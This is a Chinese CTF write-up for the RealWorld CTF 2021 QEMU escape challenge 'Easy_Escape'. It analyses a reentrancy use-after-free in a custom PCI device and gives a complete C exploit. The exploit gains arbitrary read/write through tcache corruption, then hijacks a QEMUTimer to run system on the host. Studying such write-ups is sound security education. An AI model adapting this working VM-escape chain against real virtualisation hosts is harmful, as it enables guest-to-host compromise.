Easy_Escape是RealWorld CTF 2021中的qemu逃逸题目,它实现了一个名为fun的设备,有两个操作:fun_mmio_write和fun_mmio_read。
漏洞分析
fun_mmio_read
和 fun_mmio_write
内容如下:
uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr addr, unsigned int size)
{
uint32_t_0 val; // [rsp+20h] [rbp-10h]
val = -1;
switch ( addr )
{
case 0uLL:
val = opaque->size;
break;
case 4uLL:
val = opaque->addr;
break;
case 8uLL:
val = opaque->result_addr;
break;
case 0xCuLL:
val = opaque->idx;
break;
case 0x10uLL:
if ( opaque->req )
handle_data_write(opaque, opaque->req, opaque->idx);
break;
default:
return val;
}
return val;
}
void __cdecl fun_mmio_write(FunState *opaque, hwaddr addr, uint32_t_0 val, unsigned int size)
{
switch ( addr )
{
case 0uLL:
opaque->size = val;
break;
case 4uLL:
opaque->addr = val;
break;
case 8uLL:
opaque->result_addr = val;
break;
case 0xCuLL:
opaque->idx = val;
break;
case 0x10uLL:
if ( opaque->req )
handle_data_read(opaque, opaque->req, opaque->idx);
break;
case 0x14uLL:
if ( !opaque->req )
opaque->req = create_req(opaque->size);
break;
case 0x18uLL:
if ( opaque->req )
delete_req(opaque->req);
opaque->req = 0LL;
opaque->size = 0;
break;
default:
return;
}
}
其中 handle_data_read
和 handle_data_write
函数内容如下,两个函数均调用了 put_result
函数。
void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val)
{
if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 )
{
put_result(fun, 1u);
dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
put_result(fun, 2u);
}
}
void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 val)
{
if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 )
{
put_result(fun, 1u);
dma_memory_write_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
put_result(fun, 2u);
}
}
其中 dma_memory_read
和 dma_memory_write
定义如下:
static inline int dma_memory_read(AddressSpace *as, dma_addr_t addr, void *buf, dma_addr_t len)
static inline int dma_memory_write(AddressSpace *as, dma_addr_t addr, const void *buf, dma_addr_t len)
dma_memory_read
是将 addr
处的数据复制到 buf
中,dma_memory_write
是将 buf
处的数据复制到 addr
中。其中 addr
是虚拟机中的物理地址。
在实际调试过程中发现 put_result
函数会再次调用到 handle_data_write
函数。
调用链如下:
uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr addr, unsigned int size)
handle_data_write(opaque, opaque->req, opaque->idx);
put_result(fun, 1u);
dma_memory_write(fun->as, fun->result_addr, &result, 4uLL);
dma_memory_rw(as, addr, (void *)buf, len, DMA_DIRECTION_FROM_DEVICE);
dma_memory_rw_relaxed(as, addr, buf, len, dir);
address_space_rw(as, addr, MEMTXATTRS_UNSPECIFIED, buf, len, dir == DMA_DIRECTION_FROM_DEVICE);
address_space_write(as, addr, attrs, buf, len);
flatview_write(fv, addr, attrs, buf, len);
flatview_write_continue(fv, addr, attrs, buf, len, addr1, l, mr);
memory_region_dispatch_write(mr, addr1, val, size_memop(l), attrs);
access_with_adjusted_size(addr, &data, size, mr->ops->impl.min_access_size, mr->ops->impl.max_access_size, memory_region_write_accessor, mr, attrs);
memory_region_write_accessor(mr, addr + i, value, access_size, i * 8, access_mask, attrs)
mr->ops->write(mr->opaque, addr, tmp, size);
并且再次调用 handle_data_write
时 addr
参数为 opaque->result_addr
减掉 mmio 内存的地址。
另外当 addr = 0x18
时会释放 req
相关结构。
void __cdecl delete_req(FunReq *req)
{
uint32_t_0 i; // [rsp+18h] [rbp-8h]
uint32_t_0 t; // [rsp+1Ch] [rbp-4h]
t = (req->total_size >> 10) + 1;
for ( i = 0; i < t; ++i )
free(req->list[i]);
free(req);
}
case 0x18uLL:
if ( opaque->req )
delete_req(opaque->req);
opaque->req = 0LL;
opaque->size = 0;
break;
因此不难想到可以通过设置 opaque->result_addr
为 mmio_addr + 0x18
然后调用 handle_data
函数来实现 UAF 。
漏洞利用
create_req
会创建 req
和 ⌊ opaque -> size 2 12 ⌋ + 1 \left \lfloor \frac{\text{opaque -> size}}{2^{12}} \right \rfloor +1 ⌊212opaque -> size⌋+1 个 chunk ,每个chunk 大小为 0x410 。
FunReq *__cdecl create_req(uint32_t_0 size)
{
uint32_t_0 i; // [rsp+10h] [rbp-10h]
uint32_t_0 t; // [rsp+14h] [rbp-Ch]
FunReq *req; // [rsp+18h] [rbp-8h]
if ( size > 0x1FBFF )
return 0LL;
req = (FunReq *)malloc(0x400uLL);
memset(req, 0, sizeof(FunReq));
req->total_size = size;
t = (req->total_size >> 10) + 1;
for ( i = 0; i < t; ++i )
req->list[i] = (char *)malloc(0x400uLL);
return req;
}
case 0x14uLL:
if ( !opaque->req )
opaque->req = create_req(opaque->size);
break;
FunReq
结构体定义如下:
00000000 FunReq struc ; (sizeof=0x400, align=0x8, copyof_4859)
00000000 total_size dd ?
00000004 db ? ; undefined
00000005 db ? ; undefined
00000006 db ? ; undefined
00000007 db ? ; undefined
00000008 list dq 127 dup(?) ; offset
00000400 FunReq ends
因此我们创建 req
并在 req.list
中申请三个 chunk 。
在 fun_mmio_read->handle_data_write->dma_memory_write_9
时发生 UAF,此时读取的 req.list[0]
中的数据实际上是 tcache_pthread_struct
中的数据,因此可以泄露 req
的地址,另外 tcache_pthread_struct
之后有一个指向存放 qemu 地址的内存的指针也可以泄露。
再次创建 req
。
之后 fun_mmio_write->handle_data_read->dma_memory_read_9
时 UAF 修改 req.list[1]
的 fd
指向 req
。
再次创建 req
时 req.list[2]
指向 req
。此时实现了 req
的自写,其中 lreq.ist[0]
为 NULL 时因为 tcache 在取出 chunk 时会将 key 字段置 0 。
我们可以通过 req
自写将 list[0]
指向目标地址从而实现任意地址读写。之后就是常规的泄露 qemu 基址,改 main_loop_tlg
指向的 QEMUTimerList
实现逃逸。
exp
#include <ctype.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
#define PAGE_SIZE 0x1000
size_t vaddr_to_paddr(size_t vaddr) {
int pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
lseek(pagemap_fd, vaddr / PAGE_SIZE * 8, SEEK_SET);
size_t data;
read(pagemap_fd, &data, 8);
close(pagemap_fd);
return data * PAGE_SIZE + (vaddr % PAGE_SIZE);
}
#define SIZE 0x0
#define ADDR 0x4
#define RESULT_ADDR 0x8
#define INDEX 0xC
#define HANDLE_DATA 0x10
#define CREATE_REQ 0x14
#define DELETE_REQ 0x18
void *mmio_mem;
void mmio_write(uint32_t addr, uint32_t value) {
*((uint32_t *) (mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr) {
return *((uint32_t *) (mmio_mem + addr));
}
char *buf;
size_t buf_paddr;
size_t req_addr;
char cmd[] = "xcalc";
void arbitrary_address_read(size_t address) {
mmio_write(SIZE, (3 - 1) << 10);
mmio_write(INDEX, 2);
*(size_t *) (buf + (2 << 10)) = (3 - 1) << 10;
*(size_t *) (buf + (2 << 10) + 8) = address;
*(size_t *) (buf + (2 << 10) + 0x10) = 0;
*(size_t *) (buf + (2 << 10) + 0x18) = req_addr;
mmio_write(HANDLE_DATA, 0x114514);
mmio_write(INDEX, 0);
mmio_read(HANDLE_DATA);
}
void arbitrary_address_write(size_t address) {
mmio_write(SIZE, (3 - 1) << 10);
mmio_write(INDEX, 2);
*(size_t *) (buf + (2 << 10)) = (3 - 1) << 10;
*(size_t *) (buf + (2 << 10) + 8) = address;
*(size_t *) (buf + (2 << 10) + 0x10) = 0;
*(size_t *) (buf + (2 << 10) + 0x18) = req_addr;
mmio_write(HANDLE_DATA, 0x114514);
mmio_write(INDEX, 0);
mmio_write(HANDLE_DATA, 0x1919810);
}
int main() {
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd < 0) {
perror("[-] failed to open mmio.");
exit(-1);
}
mmio_mem = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem < 0) {
perror("[-] failed to mmap mmio_mem.");
exit(-1);
}
FILE *resource_fd = fopen("/sys/devices/pci0000:00/0000:00:04.0/resource", "r");
if (resource_fd == NULL) {
perror("[-] failed to open resource.");
exit(-1);
}
size_t mmio_addr;
fscanf(resource_fd, "%p", &mmio_addr);
printf("[*] mmio_addr: %p\n", mmio_addr);
buf = (char *) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memset(buf, 0, PAGE_SIZE);
printf("[*] buf vaddr: %p\n", buf);
buf_paddr = vaddr_to_paddr((size_t) buf);
printf("[*] buf paddr: %p\n", buf_paddr);
mmio_write(SIZE, (3 - 1) << 10);
mmio_write(ADDR, buf_paddr);
mmio_write(INDEX, 0);
mmio_write(RESULT_ADDR, mmio_addr + DELETE_REQ);
mmio_write(CREATE_REQ, 0x114514);
mmio_read(HANDLE_DATA);
qword_dump("leak req addr from tcache_perthread_struct (req->list[0])", buf, 0x400);
req_addr = *(size_t *) (buf + 0x278);
printf("[+] req_addr: %p\n", req_addr);
size_t leak_addr_addr = *(size_t *) (buf + 0x358);
printf("[+] leak_addr addr: %p\n", leak_addr_addr);
*(size_t *) (buf + (1 << 10)) = req_addr;
mmio_write(SIZE, (3 - 1) << 10);
mmio_write(ADDR, buf_paddr);
mmio_write(INDEX, 1);
mmio_write(RESULT_ADDR, mmio_addr + DELETE_REQ);
mmio_write(CREATE_REQ, 0x114514);
mmio_write(HANDLE_DATA, 0x1919810);
mmio_write(RESULT_ADDR, 1);
mmio_write(SIZE, (3 - 1) << 10);
mmio_write(CREATE_REQ, 0x114514);
mmio_write(INDEX, 2);
arbitrary_address_read(leak_addr_addr);
size_t elf_base = *(size_t *) buf - 0x6761b0;
printf("[+] elf base: %p\n", elf_base);
size_t system_plt = elf_base + 0x2b8a74;
printf("[*] system@plt addr: %p\n", system_plt);
size_t main_loop_tlg_addr = elf_base + 0x112cd40;
printf("[*] main_loop_tlg addr: %p\n", main_loop_tlg_addr);
arbitrary_address_read(main_loop_tlg_addr);
size_t QEMUTimer_addr = *(size_t *) (buf + 8);
printf("[+] QEMUTimer addr: %p\n", QEMUTimer_addr);
arbitrary_address_read(QEMUTimer_addr);
*(size_t *) (buf + 0x58) = system_plt;
*(size_t *) (buf + 0x60) = QEMUTimer_addr + 0x200;
strcpy(buf + 0x200, cmd);
arbitrary_address_write(QEMUTimer_addr);
return 0;
}